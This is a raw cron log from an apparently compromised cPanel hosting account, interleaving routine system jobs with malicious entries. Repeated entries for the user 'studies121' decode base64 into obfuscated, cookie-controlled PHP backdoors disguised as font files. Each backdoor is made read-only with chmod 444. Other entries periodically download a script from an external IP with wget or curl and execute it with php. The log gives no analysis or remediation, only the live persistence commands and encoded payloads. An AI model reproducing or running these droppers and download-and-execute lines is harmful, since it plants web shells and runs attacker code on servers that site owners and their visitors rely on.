Sep 11 23:04:01 ip-184-168-122-23 CROND[18033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:04:01 ip-184-168-122-23 CROND[18034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:05:01 ip-184-168-122-23 CROND[18139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:05:01 ip-184-168-122-23 CROND[18140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:05:01 ip-184-168-122-23 CROND[18146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:05:01 ip-184-168-122-23 CROND[18145]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:05:01 ip-184-168-122-23 CROND[18148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:05:01 ip-184-168-122-23 CROND[18144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:05:01 ip-184-168-122-23 CROND[18143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:06:01 ip-184-168-122-23 CROND[18242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:06:01 ip-184-168-122-23 CROND[18245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:06:01 ip-184-168-122-23 CROND[18244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:06:01 ip-184-168-122-23 CROND[18246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:06:01 ip-184-168-122-23 CROND[18247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:07:01 ip-184-168-122-23 CROND[18346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:07:01 ip-184-168-122-23 CROND[18347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:07:01 ip-184-168-122-23 CROND[18348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:07:01 ip-184-168-122-23 CROND[18349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:08:02 ip-184-168-122-23 CROND[18445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:08:02 ip-184-168-122-23 CROND[18447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:08:02 ip-184-168-122-23 CROND[18448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:08:02 ip-184-168-122-23 CROND[18451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:08:02 ip-184-168-122-23 CROND[18446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:09:01 ip-184-168-122-23 CROND[18615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:09:01 ip-184-168-122-23 CROND[18617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:09:01 ip-184-168-122-23 CROND[18618]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 23:09:01 ip-184-168-122-23 CROND[18620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:09:01 ip-184-168-122-23 CROND[18619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:10:01 ip-184-168-122-23 CROND[18733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:10:01 ip-184-168-122-23 CROND[18734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:10:01 ip-184-168-122-23 CROND[18739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:10:01 ip-184-168-122-23 CROND[18742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:10:01 ip-184-168-122-23 CROND[18741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:10:01 ip-184-168-122-23 CROND[18737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:10:01 ip-184-168-122-23 CROND[18738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:10:01 ip-184-168-122-23 CROND[18744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:11:01 ip-184-168-122-23 CROND[18845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:11:01 ip-184-168-122-23 CROND[18846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:11:01 ip-184-168-122-23 CROND[18847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:11:01 ip-184-168-122-23 CROND[18848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:12:01 ip-184-168-122-23 CROND[18935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:12:01 ip-184-168-122-23 CROND[18937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:12:01 ip-184-168-122-23 CROND[18938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:12:01 ip-184-168-122-23 CROND[18939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:12:01 ip-184-168-122-23 CROND[18940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:13:01 ip-184-168-122-23 CROND[19030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:13:01 ip-184-168-122-23 CROND[19033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:13:01 ip-184-168-122-23 CROND[19032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:13:01 ip-184-168-122-23 CROND[19035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:14:01 ip-184-168-122-23 CROND[19208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:14:01 ip-184-168-122-23 CROND[19210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:14:01 ip-184-168-122-23 CROND[19211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:14:01 ip-184-168-122-23 CROND[19212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:14:01 ip-184-168-122-23 CROND[19214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:15:01 ip-184-168-122-23 CROND[19319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:15:01 ip-184-168-122-23 CROND[19325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:15:01 ip-184-168-122-23 CROND[19327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:15:01 ip-184-168-122-23 CROND[19328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:15:01 ip-184-168-122-23 CROND[19331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:15:01 ip-184-168-122-23 CROND[19332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:16:01 ip-184-168-122-23 CROND[19426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:16:01 ip-184-168-122-23 CROND[19425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:16:01 ip-184-168-122-23 CROND[19429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
